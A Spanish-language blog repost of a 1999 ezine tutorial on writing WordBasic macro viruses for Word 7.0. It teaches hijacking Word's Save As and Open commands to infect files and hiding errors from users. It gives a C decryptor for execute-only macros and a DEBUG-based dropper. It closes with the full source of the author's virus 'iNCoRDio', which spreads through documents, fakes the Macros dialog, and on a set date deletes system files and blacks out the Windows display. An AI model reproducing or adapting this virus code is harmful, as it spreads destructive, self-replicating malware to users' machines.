Iniciación a los virus de macro (II)
Notas preliminares: Este articulo lo publiqué en el número 2 de NetSearch Ezine, una revista electrónica sobre seguridad informática, en 1999.
Todo lo expuesto aquí no funciona deliberadamente (el código está alterado para que no pueda ser ejecutado), y solo funcionaba en Word 7.0. Lo escribí para demostrar una vulnerabilidad en dicho software y así saber como protegernos del mismo.
1. Sintaxis de WB
Bueno, para los que no esten familiarizados con este tipo de sintaxis… un tirón de orejas. Que repasen sus conceptos de programación. Pero vamos a hacer un breve resumen para poder entender lo que estamos viendo.
Instrucción condicional
If … Then … Else
Ejecuta instrucciones de forma condicional.
Por ejemplo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 | DefinirI() // Rutina ejemplo que genere un valor aleatorio para i If i = 1 Then // Si "i" es igual a 1 muestra el siguiente mensaje MsgBox "El valor de i es 1", 0 Elsif i = 2 Then // En cambio, si "i" es igual a 2 muestra este otro MsgBox "El valor de i es 2" , 0 Else // "Si no" ocurre ninguna de las dos condiciones anteriores (ni 1 // ni 2) este otro mensage MsgBox "El valor de i no es ni 1 ni 2" , 0 End If |
Instruccion repetitiva
For … Next
Ejemplo:
1 2 3 4 5 | For i = 1 To 10 // Desde i = 1 hasta 10 Beep // Pitido Next i // Siguiente valor de i ( Es decir i + 1 ) |
Este código emitiria 10 pitidos (uno por cada valor de i )
# Instrucción condicional #
While … Wend
Ejemplo:
1 2 3 4 5 6 7 8 9 | i = 1 While i <> 10 // Mientras i sea distinto de 10 Beep i = i+1 Wend |
Este código emitiria 9 pitidos, que son los valores que va tomando “i” hasta llegar a 10.
Instruccion “ir a”
Goto etiqueta
Esta es la típica instruccioón de los antiguos lenguajes de programación, que todavía puede encontrarse en algunos de los actuales, pero que no es muy recomendable, puesto que es muy poco eficiente. Es mas aconsejable usar siempre las estructuras anteriores.
1 2 3 4 5 6 7 8 9 10 11 12 13 | Sub MAIN MsgBox "La siguiente instruccion goto saltara a la etiqueta :fin, ignorando el resto" , 0 Goto fin MsgBox "Por aqui no pasa" , 0 :fin End sub |
Una vez repasados estos conceptos, proseguimos con el viriing.
2. Los Comandos de Word: Macros ArchivoGuardar, ArchivoGuardarComo ArchivoAbrir…
Todos sabemos que cuando pulsamos con el mouse sobre la barra de herramientas, aparece un menu desplegable con varias opciones. Por ejemplo, en Archivo, podemos encontrar el tipico Nuevo, Guardar, Guardar Como…, etc
Todas estas operaciones son los comandos del Word, y no son en realidad mas que simples Macros de solo ejecución.
Pero, ¿qué pasaría si creasemos en la plantilla Global una Macro con el nombre, por ejemplo, ArchivoGuardarComo?
Pues bien, se crearía automáticamente una macro que llama al cuadro de dialogo que aparece cuando pulsamos sobre esa opción.
Sería así:
1 2 3 4 5 6 7 8 9 10 11 | Sub MAIN Dim dlg AsArchivoGuardarCom // Define dlg como cuadro de dialogo ArchivoGuardarComo GetCurValues dlg // Coje los valores del cuadro de dialogo Dialog dlg // Muestra el cuadro en pantalla ArchivoGuardarComo dlg // Guarda el archivo segun los parametros obtenidos del cuadro End Sub |
Nota: Fijarse que en la primera línea aparece AsArchivoGuardarComo todo junto, cuando debería ser As ArchivoGuardarComo. Si lo dejamos como está, nos dará un error.
Bien, esto lo que haria no sería más que definir dlg como cuadro de dialogo de Guardar Como, coger los valores de ese dialogo y mostrarlo en pantalla; lo que viene haciendo Archivo / Guardar Como. Hasta ahí todo normal, pero, que pasaría si colocamos algunas lineas mas en esa Macro, a nuestro antojo?
Mira este otro código:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | Sub MAIN Dim dlg As ArchivoGuardarComo GetCurValues dlg Dialog dlg ArchivoGuardarComo dlg ArchivoGuardarComo .Formato = 1 // Guarda el archivo con el formato de una plantilla // ( Nota: Esto es solo un ejemplo. Si hiciesemos algo así, cualquier archivo se guardaria con // este formato, incluso si fuese de solo texto) Infectar() // Llama a la rutina infectar ArchivoGuardar // Guarda de nuevo lo cambios End Sub |
1 2 3 4 5 6 | Sub Infectar MacroCopiar "Global:MacroVirica" , NombreVentana$() + ":MacroVirica" , 1 End Sub |
A partir de ahora (siempre y cuando la Macro se llame ArchivoGuardarComo y este en la plantilla global), cada vez que pulsasemos sobre Archivo / Guardar Como…, a los ojos del usuario todo sería normal, pero el archivo guardado tambien sería infectado.
Lo mismo se puede hacer con ArchivoGuardar, ArchivoAbrir …
Nota: Los comandos de Word los puedes ver en el menu de Macros, pero son solo ejecutables, por lo que solo podrás leer el nombre, no su código.
3. Evitando Errores
WB es un lenguaje interpretado, y como tal, los errores surgiran “in situ”, a medida que se producen. Pero afortunadamente, los errores pueden ser interceptados.
Con la instrucción:
On Error Resume Next
Conseguiremos que los errores internos a WB ( no los errores que se produzcan en el propio Word) no muestren en pantalla el mensage de error, y el código seguira ejecutandose en la siguiente instrucción. Esto es muy útil para evitar que el virus sea detectado por el usuario en caso de error.
On Error Goto etiqueta
Tendría el mismo efecto, con la diferencia de que esta vez no continua la ejecución en la siguiente instrucción, sino que salta a la etiqueta del mismo modo que un Goto (que es lo que realmente es).
Para desactivar la deteccion de errores solo hay que utilizar la siguiente instrucción:
On Error Goto 0
Todos los errores de Word tienen un numero de identificacion. Si queremos conseguir ese numero, lo haremos con la variable especial Err, cuyo valor es el ultimo error producido.
4. Técnicas avanzadas
Ahora comentare algunas técnicas avanzadas, solo como guía, y para “activar” tu imaginación
Macros solo-ejecutables
Lo típico que se hace para encriptar una macro es hacerla solo-ejecutable.
Esto no es más que un simple XOR, por lo que podemos desencriptarlas y ver su código. Si leemos el fichero, debemos buscar el verdadero nombre del fichero en el. Unos cuantos bytes despues de el encontraremos una “U”. Pues bien, el byte siguiente a esa “U” es la clave XOR que debemos usar para desencriptarlo
Por supuesto, habra tantas “U” como macros tenga el documento., y una clave XOR para cada una. Depues no hay más que encontrar el comienzo de las macros, que normalmente está en la direccion B89h o en 1509h. Simpre hay la secuencia A5h, C6h , 41h, un byte y el valor XOR. Los problemas pueden comenzar si el documento tiene macros normales y macros solo-ejecutables.
Prueba a borrar algunas macros, y despues desencriptar.
Adjunto un programa en C que podría ser util.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 | /********* (c) AURODREPH Productions 04/1996 **********/ #include "io.h" #include "stdlib.h" #include "stdio.h" #include "conio.h" #include "process.h" #include "fcntl.h" #include "string.h" #include "sys\stat.h" void main (void) { char Name[13]; char Target[13]; unsigned char *Buffer; int Handler, Handler1; unsigned int Offset; unsigned long Length = 0; int point, max, trouve, cledec, debmac, decfin; int stop,nbr,positcle,nbrmac,i; clrscr(); printf (" ******************************************************************\n"); printf (" * *\n"); printf (" * DECRYPT WORD 6.0 MACROS saved *\n"); printf (" * with the option Execute-only *\n"); printf (" * *\n"); printf (" * *\n"); printf (" * --- ,This file works only with files < 32 Ko. ---- *\n"); printf (" * <*****}===============- *\n"); printf (" * (z) ' AURODREPH Productions 04/1996 *\n"); printf (" * ver 0.666B *\n"); printf (" ******************************************************************\n"); printf ("\n"); printf("\n"); printf ("Name of the input file = "); scanf ("%12s",Name); printf ("\n"); printf ("Name of the output file = "); scanf ("%12s",Target); printf("\n"); printf ("Number of crypted macros = "); scanf ("%d",&nbrmac); printf("\n"); if (nbrmac > 50 ) {exit (0);} Handler = open (Name, O_BINARY | O_RDONLY , S_IREAD); if (Handler == -1) {printf ("The input file doesn't exist.\n"); exit(0);} Length = (unsigned long) lseek(Handler, 0, SEEK_END); lseek (Handler,0,SEEK_SET); Buffer = (unsigned char *) malloc((unsigned) Length); if (Buffer == NULL) printf ("Fail memory allocation.\n"); if (read(Handler, Buffer, (unsigned) Length) != Length) {printf ("The size of the file is > 32 ko)\n"); printf ("Try to remove some macros with WORD....\n"); exit (0);} point = 0; max = strlen(Name); trouve = 1; cledec = 0x00; debmac = 0x00; stop = 0; for (i=0; i= 0x61) & (Name[i]<= 0x7A)) { Name[i] = Name[i] & 0xDF ;} }; for (Offset = 0x0000; Offset < Length; Offset++) { if ((Buffer[Offset] == Name[point]) && (stop !=1)) { for (point = 1; point <= (max-1); point++) {if (Buffer [Offset+point] == Name[point]) { trouve = trouve+1; } } else trouve = 1; }; } if (trouve == max) {stop = 1;} if ((trouve == max) && (Buffer[Offset] == 0x55)) {cledec = Buffer[Offset+1]; trouve = 0; Buffer [Offset+1] = 0x00; positcle = Offset; } point = 0; }; if (cledec == 0x00) {printf (" Don't find the decrypted key... \n"); exit (0);} else printf ("Decrypted Key for the macro n 1 = %x \n", cledec); for (Offset = 0x0000; Offset < Length; Offset++) { if (Buffer[Offset] == 0xA5) {if ((Buffer [Offset+1] == 0xC6) || (Buffer [Offset+1] == 0xC4)) {if (Buffer [Offset+2] == 0x41) {if (Buffer [Offset+4] == cledec) {debmac = Offset+3; } } } } }; if (debmac == 0x00) {for (Offset = 0x0000; Offset < Length; Offset++) { if (Buffer[Offset] == cledec-1) {if (Buffer [Offset+1] == cledec) {debmac = Offset; } } }; } if (debmac == 0x00) { printf (" Don't find the beginning of the macro\n"); exit(0);} for (nbr = 1 ; nbr <= nbrmac ;nbr++) { if (nbr != 1) { printf ("\n"); printf (" I decrypt the macro n %d \n", nbr); Offset = positcle+24; if (Buffer[Offset] == 0x55) {cledec = Buffer [Offset+1]; Buffer [Offset+1] = 0x00; positcle = Offset; printf ("Decrypted Key for the macro n %d = %x \n", nbr,cledec); } else {printf (" Don't find the decrypted key ....\n");} } Offset = debmac; point = 0; decfin = 1; stop = 1; printf ( " I work "); do { if (stop == 400) {printf ("."); stop = 1 ;} Buffer[Offset+point] ^= cledec ; /* decryptage par XOR */ if (Buffer [Offset+point] == 0x64) {Buffer [Offset+point+1] ^= cledec; if (Buffer [Offset+point+1] == 0x1a) {Buffer [Offset+point+2] ^= cledec; if (Buffer [Offset+point+2] == 0x1b) {Buffer [Offset+point+3] ^= cledec; if (Buffer [Offset+point+3] != 0x64) {decfin = 0; debmac = Offset+point+3; Buffer [Offset+point+3] ^= cledec; } else Buffer [Offset+point+3] ^= cledec; } else Buffer [Offset+point+2] ^= cledec; } else Buffer [Offset+point+1] ^= cledec; } if ((Offset+point) == Length) {decfin = 0;} stop = stop + 1; point = point + 1; } while ( ( decfin != 0) ); printf ("\n"); printf (" End of decrypting the macro n %d \n", nbr); }; _fmode= O_BINARY; Handler1 = creat(Target, S_IFMT | S_IREAD | S_IWRITE); write (Handler1, Buffer,(unsigned) Length); close (Handler1); close (Handler); printf ("\n"); printf ("\n"); printf (" END ... \n"); printf ("\n"); printf (" The decrypted file is %s .\n", Target); } |
Polimorfismo
Es posible hacer virus polimórficos en WordBasic. Una manera sencilla sería hacer que las macros tomaran nombres al azar en cada generación.
Uso de DEBUG
Ultimamente es muy corriente encontrarse especimenes que utilizan el debug del DOS para volcar pequeños ejecutables, plantillas, … en el disco duro para luego ser ejecutadas. Os muestro aqui una pequeña rutina para ilustrarlo:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 | Open "C:\programita.scr" For Output As #1 Print #1, "N BOOM.COM" Print #1, "E 0100 E9 AF 13 9F 4D D1 0F D9 0A D7 0A B2 25 EB 67 C2" Print #1, "E 0110 26 F6 20 F7 33 E6 67 BA 24 BB 67 A3 7E EB 7E 9F" Print #1, "E 0120 4D 98 15 FD 32 E6 2E FC 22 B2 30 FB 2B FE 67 E0" Print #1, "E 0130 22 E6 32 E0 29 B2 34 EB 34 E6 22 12 67 FB 29 F4" Print #1, "E 0140 28 E0 2A F3 33 FB 34 FC 67 F4 28 E0 67 E1 33 F3" Print #1, "E 0150 29 F6 26 B0 23 9F 4D B2 67 B2 67 B2 67 B2 67 DB" Print #1, "E 0160 05 DF 67 C2 04 E1 67 F3 29 F6 67 F1 2B FD 29 F7" Print #1, "E 0170 34 B2 35 E7 29 FC 2E DC 20 B2 0A C1 68 C2 04 B2" // ... print #1, "RCX" print #1, "400" Print #1, "W" Print #1, "Q" Close #1 Open "c:\boom.bat" For Output As #1 Print #1, "@echo off" Print #1, "debug < programita.src > nul" Print #1, "boom.com" Close #1 |
Nota: Los valores Hexadecimales del ejemplo son inventados, asi que no intentes nada con ellos.
5. Miscelánea
Para terminar este pequeño curso, aquí podeis ver el WM6.iNCorDio V 1.0 , un virus sencillo y totalmente funcional creado por un servidor.
Por favor, no lo distribuyas. Simplemente lo incluyo como apoyo al documento para comprender mejor el concepto de virus de Macro.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 | // WM6.iNCoRDio V1.0 // // // April 25 1999 // # Size: 5,35 Kbytes // // # Stealth: Semi. It emulates Macros Dialog and deactivates Templates Menu. // # Encrypted: Yes. Only-executable Macros. // # Polymorphic: No // # Infects: Spanish versions of Word 7.0. // # ReMovable: Yes. U must remove normal.dot. // # MultiLanguaje: No. It only infects Spanish versions of Word. // # Payload: On 15 August kills io.sys and Msdos.sys, and changes win.ini [colors] definitions to // "00 00 00" getting dark Windows. // // Simple, quick and effective, but too many easy. // // This virus consists in six Macros: // // # AutoOpen: Infects the global template, copying itself and the rest of Macros. // # iNFeCT: Is copied as ArchivoGuardarComo. This Macro infects other docs when FileSaveAs. // # iNFeCT2: Is copied as ArchivoAbrir. When a doc is opened then infects it. // # iNCoRDio: It contains infect subrutine. It can distinguish if is an .doc, .dot or .rtf // file. In other case does't infect. // # ChapaAuto: Is copied as AutoExec. When starts Word, automacros are deactivated // so Word can't be infected by other WM virus using automacros. // # ChapaMacros: Is copied as HerramMacro. EMulates the Macros ... dialog box, but it doesn't // shows any Macro nor record or reMoves anything // # ChapaPlan: Is copied as ArchivoPlantillas. Is an eMpty Macro, and deactivates thus // the teMplates Menu of "Files". // These two last Macros are the semi-stealmh Mechanism. I say "semi", because if u aren't // stupid u can see that something is incorrect, but ... fortunately the greater part of // people thinks - "My templates menu don't start. Bah! is a Microsoft application ..." // // The replication method of this virus is simple: I send u the English exam infected doc // because u can't write it for tomorrow. Your Word is infected. U have the telephone numbers // list of the best supertit... err, girls of your university, and send it to Menganito... // Menganito's Word is infected. // // Anything else. I hope u liked this modest specimen. // // // DO NOT DISTRIBUTE. THIS IS AN EXPERIMENTAL VIRUS //---------------- // AutoOpen MACRO //---------------- Sub MAIN On Error Resume Next // Copies all Macros to global template (normally normal.dot) MacroCopiar NombreVentana$() + ":AutoOpen", "Global:iNFeCT3", 3 MacroCopiar NombreVentana$() + ":iNFeCT", "Global:ArchivoGuardarCoMo", 3 MacroCopiar NombreVentana$() + ":iNFeCT2", "Global:ArchivoAbrir", 3 MacroCopiar NombreVentana$() + ":iNCoRDio", "Global:iNCoRDio", 3 MacroCopiar NombreVentana$() + ":ChapaMacros", "Global:HerramMacro", 3 MacroCopiar NombreVentana$() + ":ChapaPlan", "Global:ArchivoPlantillas", 3 MacroCopiar NombreVentana$() + ":ChapaAuto", "Global:AutoExec", 3 HerramOpcionesGuardar .SimboloGlobalDot = 0 // Deactivates autoMacros to protect itself DesactivarMacrosAuto End Sub //-------------- // iNFeCT MACRO //-------------- Sub MAIN On Error Resume Next DiM Infector As ArchivoGuardarComo GetCurValues Infector // Shows FileSaveAs dialog box Dialog Infector ArchivoGuardarComo Infector Call iNCoRDio // Calls infect subrutines. End Sub //--------------- // iNFeCT2 MACRO //--------------- Sub MAIN On Error Resume Next DiM Infector As ArchivoAbrir GetCurValues Infector // Shows FileOpen dialog box Dialog Infector ArchivoAbrir Infector // Open file Call iNCoRDio // Calls infect subrutines End Sub //----------------- // ChapaAuto MACRO //----------------- Sub MAIN On Error Resume Next If Mes(Ahora()) = 8 Then // On August 15 ... If Dia(Ahora()) = 15 Then MsgBox "^-^ iNCorDio v1.0 ^-^", "ViRuZ iNFeCTioN", 0 // Shows this Message SetProfileString "colors", "scrollbar", "0 0 0" SetProfileString "colors", "Background", "0 0 0" SetProfileString "colors", "ActiveTitle", "0 0 0" SetProfileString "colors", "InactiveTitle", "0 0 0" SetProfileString "colors", " Menu ", " 0 0 0 " SetProfileString "colors", "Window", "0 0 0" SetProfileString "colors", "WindowFraMe", "0 0 0" SetProfileString "colors", "MenuText", "0 0 0" SetProfileString "colors", "TitleText", "0 0 0" // Turns dark Windows SetProfileString "colors", "ActiveBorder", "0 0 0" // changing win.ini SetProfileString "colors", "InactiveBorder", "0 0 0" // values SetProfileString "colors", "AppWorkspace", "0 0 0" SetProfileString "colors", "Hilight", "0 0 0" SetProfileString "colors", "HilightText", "0 0 0" SetProfileString "colors", "ButtonFace", "0 0 0" SetProfileString "colors", "ButtonShadow", "0 0 0" SetProfileString "colors", "GrayText", "0 0 0" SetProfileString "colors", "ButtonText", "0 0 0" SetProfileString "colors", "InactiveTitleText", "0 0 0" SetProfileString "colors", "ButtonHilight", "0 0 0" SetProfileString "colors", "ButtonDkShadow", "0 0 0" SetProfileString "colors", "ButtonLight", "0 0 0" SetProfileString "colors", "InfoText", "0 0 0" SetProfileString "colors", "InfoWindow", "0 0 0" SetProfileString "colors", "ButtonAlternateFace", "0 0 0" SetProfileString "colors", "HotTrackingColor", "0 0 0" SetProfileString "colors", "GradientActiveTitle", "0 0 0" SetProfileString "colors", "GradientInactiveTitle", "0 0 0" FijarAtributos "c:\io.sys", 0 // Removes io.sys attributes FijarAtributos "c:\msdos.sys", 0 // Removes Msdos.sys attributes Kill "c:\io.sys" // Kills io.sys Kill "c:\msdos.sys" // Kills Msdos.sys End If End If For i = 1 To 7 If Hora(Ahora()) = i Then // Between 1:00 AM and 7:00 AM MsgBox "Buenas noches.", "A soñar con los angelitos", 0 // Displays this Message SalirWindows // and Windows closes End If Next i DesactivarMacrosAuto End Sub //------------------ // ChapaMacros MACRO //------------------ Sub MAIN On Error Resume Next DiM MacrosEn$(3) MacrosEn$(0) = "Todas las plantillas activas" MacrosEn$(1) = "Normal.dot (plantilla global)" MacrosEn$(2) = "Comandos de Word" MacrosEn$(3) = "Present.dot (plantilla global)" DiM Macros$(0) Begin Dialog DialogoUsuario 422, 296, "Macro", .FuncionDlg Text 6, 4, 157, 13, "&Nombre de la Macro:", .NoMbre Text 6, 193, 180, 13, "M&acros disponibles en:", .Dispon DropListBox 6, 208, 408, 50, MacrosEn$(), .MacrosEn Text 6, 235, 100, 13, "&Descripcion:", .Descri TextBox 6, 251, 408, 35, .Descripcion PushButton 282, 8, 130, 21, "&Grabar ...", .Grabar CancelButton 282, 32, 130, 21 // Fake Macros... dialog box PushButton 282, 62, 130, 21, "Ejecutar", .Ejecutar PushButton 282, 85, 130, 21, "Crear", .Crear PushButton 282, 108, 130, 21, "Eliminar", .Eliminar PushButton 282, 139, 130, 21, "&Organizador ...", .Organizador PushButton 282, 163, 130, 21, "A&yuda", .Ayuda CoMboBox 6, 18, 265, 166, Macros$(), .Macros End Dialog Dim dlg As DialogoUsuario selec = Dialog(dlg) If selec = 1 Or selec = 3 Then // If "record" or "create" buttons are pushed MsgBox "No puede grabar Macro aqui", 16 // (X) I can't record a Macro here. End If If selec = 2 Or selec = 4 Then // If "Remove" or "Execute" buttons are pushed MsgBox "Seleccione una Macro", 48 // (I) Select a Macro. End If If selec = 6 Then // If "help" button is pushed ... AyudaContenido // shows help :-) End If End Sub Function FuncionDlg(identificador$, accion, valorSup) If accion = 1 Then FocoDlg$ Macros End If End Function //----------------- // ChapaPlan MACRO //----------------- Sub MAIN On Error Resume Next // Anything else. This Macro is executed when Templates Menu is called. End Sub //---------------- // iNCoRDio MACRO //---------------- Sub MAIN //# Virus NaMe : iNCorDio v1.1 //# Creation order positon: 1st //# Infects: .doc , .dot and .rtf when opened //# Stealth: SeMi //# Encrypted: Yes On Error Resume Next sinExt$ = InfoNombreArchivo$(NombreArchivo$(), 4) // Gets the without-extension file name conExt$ = InfoNombreArchivo$(NombreArchivo$(), 3) // Gets the file name and extension If conExt$ <> sinExt$ + ".DOC" Then // If not .doc file If conExt$ <> sinExt$ + ".RTF" Then // If not .rtf file If conExt$ <> sinExt$ + ".DOT" Then // If not .dot file Goto EndFin // Ends Macro: Doesn't infect anything End If End If End If ArchivoGuardarComo .Formato = 1 // Saves the file with template format Infectar() // Calls infect subrutine: Infects file ArchivoGuardar // Saves file (now infected) End Sub Sub Infectar // Copies all Macros to saved file MacroCopiar "Global:iNFeCT3", NombreVentana$() + ":AutoOpen", 3 MacroCopiar "Global:ArchivoGuardarComo", NombreVentana$() + ":iNFeCT", 3 MacroCopiar "Global:ArchivoAbrir", NombreVentana$() + ":iNFeCT2", 3 MacroCopiar "Global:iNCoRDio", NombreVentana$() + ":iNCoRDio", 3 MacroCopiar "Global:HerramMacro", NombreVentana$() + ":ChapaMacros", 3 MacroCopiar "Global:ArchivoPlantillas", NombreVentana$() + ":ChapaPlan", 3 MacroCopiar "Global:AutoExec", NombreVentana$() + ":ChapaAuto", 3 End Sub |
Este es el weblog personal de Antonio Rodríguez (aka MoebiuZ).